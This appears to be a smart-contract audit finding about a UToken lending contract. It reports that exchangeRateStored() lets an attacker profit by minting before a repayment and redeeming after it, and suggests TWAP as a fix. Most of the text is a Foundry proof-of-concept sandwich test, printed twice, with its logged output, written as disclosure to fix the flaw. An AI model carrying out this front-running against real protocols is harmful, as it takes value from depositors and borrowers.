The `exchangeRateStored()` function allows front-running on repayments
The `exchangeRateStored()` function allows to perform front-running attacks when a repayment is being executed.\\nSince `_repayBorrowFresh()` increases `totalRedeemable` value which affects in the final exchange rate calculation used in functions such as `mint()` and `redeem()`, an attacker could perform a front-run to any repayment by minting `UTokens` beforehand, and redeem these tokens after the front-run repayment. In this situation, the attacker would always be obtaining profits since `totalRedeemable` value is increased after every repayment.\\nProof of Concept\\n```\\n    function increaseTotalSupply(uint256 _amount) private {\\n        daiMock.mint(address(this), _amount);\\n        daiMock.approve(address(uToken), _amount);\\n        uToken.mint(_amount);\\n    }\\n\\n    function testMintRedeemSandwich() public {\\n        increaseTotalSupply(50 ether);\\n\\n        vm.prank(ALICE);\\n        uToken.borrow(ALICE, 50 ether);\\n        uint256 borrowed = uToken.borrowBalanceView(ALICE);\\n\\n        vm.roll(block.number + 500);\\n\\n        vm.startPrank(BOB);\\n        daiMock.approve(address(uToken), 100 ether);\\n        uToken.mint(100 ether);\\n\\n        console.log("\\n  [UToken] Total supply:", uToken.totalSupply());\\n        console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n        console.log("[DAI]    BOB balance:", daiMock.balanceOf(BOB));\\n\\n        uint256 currExchangeRate = uToken.exchangeRateStored();\\n        console.log("[1] Exchange rate:", currExchangeRate);\\n        vm.stopPrank();\\n\\n        vm.startPrank(ALICE);\\n        uint256 interest = uToken.calculatingInterest(ALICE);\\n        uint256 repayAmount = borrowed + interest;\\n\\n        daiMock.approve(address(uToken), repayAmount);\\n        uToken.repayBorrow(ALICE, repayAmount);\\n\\n        console.log("\\n  [UToken] Total supply:", uToken.totalSupply());\\n        console.log("[UToken] ALICE balance:", uToken.balanceOf(ALICE));\\n        console.log("[DAI]    ALICE balance:", daiMock.balanceOf(ALICE));\\n\\n        currExchangeRate = uToken.exchangeRateStored();\\n        console.log("[2] Exchange rate:", currExchangeRate);\\n        vm.stopPrank();\\n\\n        vm.startPrank(BOB);\\n        uToken.redeem(uToken.balanceOf(BOB), 0);\\n\\n        console.log("\\n  [UToken] Total supply:", uToken.totalSupply());\\n        console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n        console.log("[DAI]    BOB balance:", daiMock.balanceOf(BOB));\\n\\n        currExchangeRate = uToken.exchangeRateStored();\\n        console.log("[3] Exchange rate:", currExchangeRate);\\n    }\\n```\\n\\nResult\\n```\\n[PASS] testMintRedeemSandwich() (gas: 560119)\\nLogs:\\n\\n  [UToken] Total supply: 150000000000000000000\\n  [UToken] BOB balance: 100000000000000000000\\n  [DAI]    BOB balance: 0\\n  [1] Exchange rate: 1000000000000000000\\n\\n  [UToken] Total supply: 150000000000000000000\\n  [UToken] ALICE balance: 0\\n  [DAI]    ALICE balance: 99474750000000000000\\n  [2] Exchange rate: 1000084166666666666\\n\\n  [UToken] Total supply: 50000000000000000000\\n  [UToken] BOB balance: 0\\n  [DAI]    BOB balance: 100008416666666666600\\n  [3] Exchange rate: 1000084166666666668\\n```\\n
Issue The `exchangeRateStored()` function allows front-running on repayments\\nAn approach could be implementing TWAP in order to make front-running unprofitable in this situation.
An attacker could always get profits from front-running repayments by taking advantage of `exchangeRateStored()` calculation before a repayment is made.
```\\n    function increaseTotalSupply(uint256 _amount) private {\\n        daiMock.mint(address(this), _amount);\\n        daiMock.approve(address(uToken), _amount);\\n        uToken.mint(_amount);\\n    }\\n\\n    function testMintRedeemSandwich() public {\\n        increaseTotalSupply(50 ether);\\n\\n        vm.prank(ALICE);\\n        uToken.borrow(ALICE, 50 ether);\\n        uint256 borrowed = uToken.borrowBalanceView(ALICE);\\n\\n        vm.roll(block.number + 500);\\n\\n        vm.startPrank(BOB);\\n        daiMock.approve(address(uToken), 100 ether);\\n        uToken.mint(100 ether);\\n\\n        console.log("\\n  [UToken] Total supply:", uToken.totalSupply());\\n        console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n        console.log("[DAI]    BOB balance:", daiMock.balanceOf(BOB));\\n\\n        uint256 currExchangeRate = uToken.exchangeRateStored();\\n        console.log("[1] Exchange rate:", currExchangeRate);\\n        vm.stopPrank();\\n\\n        vm.startPrank(ALICE);\\n        uint256 interest = uToken.calculatingInterest(ALICE);\\n        uint256 repayAmount = borrowed + interest;\\n\\n        daiMock.approve(address(uToken), repayAmount);\\n        uToken.repayBorrow(ALICE, repayAmount);\\n\\n        console.log("\\n  [UToken] Total supply:", uToken.totalSupply());\\n        console.log("[UToken] ALICE balance:", uToken.balanceOf(ALICE));\\n        console.log("[DAI]    ALICE balance:", daiMock.balanceOf(ALICE));\\n\\n        currExchangeRate = uToken.exchangeRateStored();\\n        console.log("[2] Exchange rate:", currExchangeRate);\\n        vm.stopPrank();\\n\\n        vm.startPrank(BOB);\\n        uToken.redeem(uToken.balanceOf(BOB), 0);\\n\\n        console.log("\\n  [UToken] Total supply:", uToken.totalSupply());\\n        console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));\\n        console.log("[DAI]    BOB balance:", daiMock.balanceOf(BOB));\\n\\n        currExchangeRate = uToken.exchangeRateStored();\\n        console.log("[3] Exchange rate:", currExchangeRate);\\n    }\\n```\\n